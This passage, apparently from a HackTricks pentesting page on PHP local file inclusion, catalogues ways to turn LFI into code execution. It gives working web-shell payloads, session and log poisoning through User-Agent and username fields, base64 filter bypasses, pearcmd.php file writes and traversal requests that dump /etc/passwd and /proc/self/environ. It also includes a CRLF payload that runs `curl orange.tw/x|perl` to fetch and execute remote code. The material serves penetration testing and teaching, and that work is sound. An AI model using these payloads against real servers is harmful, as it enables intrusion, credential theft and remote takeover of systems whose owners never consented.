**`/var/mail/<USERNAME>`** or **`/var/spool/mail/<USERNAME>`** 644 645 ### Via /proc/\*/fd/\* 646 647 1. Upload a lot of shells (for example : 100) 648 2. Include [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD), with $PID = PID of the process (can be brute forced) and $FD the file descriptor (can be brute forced too) 649 650 ### Via /proc/self/environ 651 652 Like a log file, send the payload in the User-Agent, it will be reflected inside the /proc/self/environ file 653 654 ```text 655 GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1 656 User-Agent: <?=phpinfo(); ?> 657 ``` 658 659 ### Via upload 660 661 If you can upload a file, just inject the shell payload in it (e.g : `<?php system($_GET['c']); ?>` ). 662 663 ```text 664 http://example.com/index.php?page=path/to/uploaded/file.png 665 ``` 666 667 In order to keep the file readable it is best to inject into the metadata of the pictures/doc/pdf 668 669 ### Via ZIP file upload 670 671 Upload a ZIP file containing a PHP shell compressed and access: 672 673 ```python 674 example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php 675 ``` 676 677 ### Via PHP sessions 678 679 Check if the website use PHP Session (PHPSESSID) 680 681 ```text 682 Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/ 683 Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly 684 ``` 685 686 In PHP these sessions are stored into _/var/lib/php5/sess\\_\[PHPSESSID]\_ files 687 688 ```text 689 /var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27. 690 user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin"; 691 ``` 692 693 Set the cookie to `<?php system('cat /etc/passwd');?>` 694 695 ```text 696 login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php 697 ``` 698 699 Use the LFI to include the PHP session file 700 701 ```text 702 login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2 703 ``` 704 705 ### Via ssh 706 707 If ssh is active check which user is being used (/proc/self/status & /etc/passwd) and try to access **\<HOME>/.ssh/id_rsa** 708 709 ### **Via** **vsftpd** _**logs**_ 710 711 The logs for the FTP server vsftpd are located at _**/var/log/vsftpd.log**_. In the scenario where a Local File Inclusion (LFI) vulnerability exists, and access to an exposed vsftpd server is possible, the following steps can be considered: 712 713 1. Inject a PHP payload into the username field during the login process. 714 2. Post injection, utilize the LFI to retrieve the server logs from _**/var/log/vsftpd.log**_. 715 716 ### Via php base64 filter (using base64) 717 718 As shown in [this](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) article, PHP base64 filter just ignore Non-base64.You can use that to bypass the file extension check: if you supply base64 that ends with ".php", and it would just ignore the "." and append "php" to the base64. Here is an example payload:<sup>[[4]](#references)</sup> 719 720 ```text 721 http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php 722 723 NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>" 724 ``` 725 726 ### Via php filters (no file needed) 727 728 This [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d)explains that you can use **php filters to generate arbitrary content** as output. Which basically means that you can **generate arbitrary php code** for the include **without needing to write** it into a file.<sup>[[11]](#references)</sup> 729 730 731 [Lfi2Rce Via Php Filters](/hacktricks/pentesting-web/file-inclusion/lfi2rce-via-php-filters) 732 733 ### Via segmentation fault 734 735 **Upload** a file that will be stored as **temporary** in `/tmp`, then in the **same request,** trigger a **segmentation fault**, and then the **temporary file won't be deleted** and you can search for it. 736 737 738 [Lfi2Rce Via Segmentation Fault](/hacktricks/pentesting-web/file-inclusion/lfi2rce-via-segmentation-fault) 739 740 ### Via Nginx temp file storage 741 742 If you found a **Local File Inclusion** and **Nginx** is running in front of PHP you might be able to obtain RCE with the following technique: 743 744 745 [Lfi2Rce Via Nginx Temp Files](/hacktricks/pentesting-web/file-inclusion/lfi2rce-via-nginx-temp-files) 746 747 ### Via PHP_SESSION_UPLOAD_PROGRESS 748 749 If you found a **Local File Inclusion** even if you **don't have a session** and `session.auto_start` is `Off`. If you provide the **`PHP_SESSION_UPLOAD_PROGRESS`** in **multipart POST** data, PHP will **enable the session for you**. You could abuse this to get RCE: 750 751 752 [Via Php Session Upload Progress](/hacktricks/pentesting-web/file-inclusion/via-php-session-upload-progress) 753 754 ### Via temp file uploads in Windows 755 756 If you found a **Local File Inclusion** and and the server is running in **Windows** you might get RCE: 757 758 759 [Lfi2Rce Via Temp File Uploads](/hacktricks/pentesting-web/file-inclusion/lfi2rce-via-temp-file-uploads) 760 761 ### Via `pearcmd.php` + URL args 762 763 As [**explained in this post**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), the script `/usr/local/lib/phppearcmd.php` exists by default in php docker images. Moreover, it's possible to pass arguments to the script via the URL because it's indicated that if a URL param doesn't have an `=`, it should be used as an argument. See also [watchTowr’s write-up](https://labs.watchtowr.com/form-tools-we-need-to-talk-about-php/) and [Orange Tsai’s “Confusion Attacks”](https://blog.orange.tw/posts/2024-08-confusion-attacks-en/).<sup>[[12]](#references)</sup><sup>[[13]](#references)</sup><sup>[[14]](#references)</sup><sup>[[15]](#references)</sup><sup>[[19]](#references)</sup> 764 765 The following request create a file in `/tmp/hello.php` with the content `<?=phpinfo()?>`: 766 767 ```bash 768 GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php HTTP/1.1 769 ``` 770 771 The following abuses a CRLF vuln to get RCE (from [**here**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)):<sup>[[14]](#references)</sup> 772 773 ```text 774 http://server/cgi-bin/redir.cgi?r=http:// %0d%0a 775 Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b alltests.php %0d%0a 776 Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a 777 %0d%0a 778 ``` 779 780 ### Via phpinfo() (file_uploads = on) 781 782 If you found a **Local File Inclusion** and a file exposing **phpinfo()** with file_uploads = on you can get RCE: 783 784 785 [Lfi2Rce Via Phpinfo](/hacktricks/pentesting-web/file-inclusion/lfi2rce-via-phpinfo) 786 787 ### Via compress.zlib + `PHP_STREAM_PREFER_STUDIO` + Path Disclosure 788 789 If you found a **Local File Inclusion** and you **can exfiltrate the path** of the temp file BUT the **server** is **checking** if the **file to be included has PHP marks**, you can try to **bypass that check** with this **Race Condition**: 790 791 792 [Lfi2Rce Via Compress.Zlib + Php Stream Prefer Studio + Path Disclosure](/hacktricks/pentesting-web/file-inclusion/lfi2rce-via-compress-zlib-php-stream-prefer-studio-path-disclosure) 793 794 ### Via eternal waiting and brute force 795 796 If you can abuse the LFI to **upload temporary files** and make the server **hang** the PHP execution, you could then **brute force filenames during hours** to find the temporary file: 797 798 799 [Lfi2Rce Via Eternal Waiting](/hacktricks/pentesting-web/file-inclusion/lfi2rce-via-eternal-waiting) 800 801 ### To Fatal Error 802 803 If you include any of the files `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar`. (You need to include the same one 2 time to throw that error). 804 805 **I don't know how is this useful but it might be.**\ 806 _Even if you cause a PHP Fatal Error, PHP temporary files uploaded are deleted._ 807 808 <figure><img src="https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/image%20%281031%29.png" alt=""><figcaption></figcaption></figure> 809 810 811 ### Preserve traversal sequences from the client 812 813 Some HTTP clients normalize or collapse `../` before the request reaches the server, breaking directory traversal payloads. Use `curl --path-as-is` to keep traversal untouched when abusing log/download endpoints that concatenate a user-controlled filename, and add `--ignore-content-length` for pseudo-files like `/proc`:<sup>[[16]](#references)</sup> 814 815 ```bash 816 curl --path-as-is -b "session=$SESSION" \ 817 "http://TARGET/admin/get_system_log?log_identifier=../../../../proc/self/environ" \ 818 --ignore-content-length -s | tr '\000' '\n' 819 ``` 820 821 Tune the number of `../` segments until you escape the intended directory, then dump `/etc/passwd`, `/proc/self/cwd/app.py`, or other source/config files. 822 823 ## References 824 825 - [1] [PayloadsAllTheThings – File Inclusion Intruders](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion/Intruders) 826 - [2] [PayloadsAllTheThings – File Inclusion](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion) 827 - [3] [Positive Technologies – Blind Trust: What Is Hidden Behind the Process of Creating Your PDF File? (archived)](https://web.archive.org/web/20260000000000id_/https://swarm.ptsecurity.com/blind-trust-what-is-hidden-behind-the-process-of-creating-your-pdf-file/) 828 - [4] [matan-h – One LFI Bypass to Rule Them All (Using Base64)](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) 829 - [5] [HTB: Gavel](https://0xdf.gitlab.io/2026/03/14/htb-gavel.html) 830 - [6] [Synacktiv – PHP filter chains: file read from error-based oracle](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) 831 - [7] [Lexfo/Ambionics – Iconv, set the charset to RCE: Exploiting the glibc to hack the PHP engine (part 1)](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1) 832 - [8] [Horizon3.ai – From Support Ticket to Zero Day (FreeFlow Core path traversal → arbitrary write → webshell)](https://horizon3.ai/attack-research/attack-blogs/from-support-ticket-to-zero-day/) 833 - [9] [Xerox Security Bulletin 025-013 – FreeFlow Core 8.0.5](https://securitydocs.business.xerox.com/wp-content/uploads/2025/08/Xerox-Security-Bulletin-025-013-for-Freeflow-Core-8.0.5.pdf) 834 - [10] [When Audits Fail: Four Critical Pre-Auth Vulnerabilities in TRUfusion Enterprise](https://www.rcesecurity.com/2025/09/when-audits-fail-four-critical-pre-auth-vulnerabilities-in-trufusion-enterprise/) 835 - [11] [loknop – Solving "includer's revenge" (hxp CTF 2021) without controlling any files](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) 836 - [12] [leavesongs – Docker PHP Local File Inclusion Overview (pearcmd.php getshell)](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html) 837 - [13] [watchTowr – We need to talk about PHP (pearcmd.php gadget)](https://labs.watchtowr.com/form-tools-we-need-to-talk-about-php/) 838 - [14] [Orange Tsai – Confusion Attacks on Apache](https://blog.orange.tw/posts/2024-08-confusion-attacks-en/) 839 - [15] [VTENEXT 25.02 – a three-way path to RCE](https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/) 840 - [16] [HTB: Imagery (admin log download traversal + `/proc/self/environ` read)](https://0xdf.gitlab.io/2026/01/24/htb-imagery.html) 841 - [17] [The Art of PHP: CTF‑born exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/) 842 - [18] [@trbughunters – Top 25 LFI parameters](https://twitter.com/trbughunters/status/1279768631845494787) 843 - [19] [Docker PHP LFI Summary / pearcmd.php getshell](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp) 844 - [20] [docs.python.org - Library - Os.path: Os.path.join](https://docs.python.org/3.10/library/os.path.html#os.path.join) 845 846 [En Local File Inclusion 1.Pdf](https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/file-inclusion/EN-Local-File-Inclusion-1.pdf)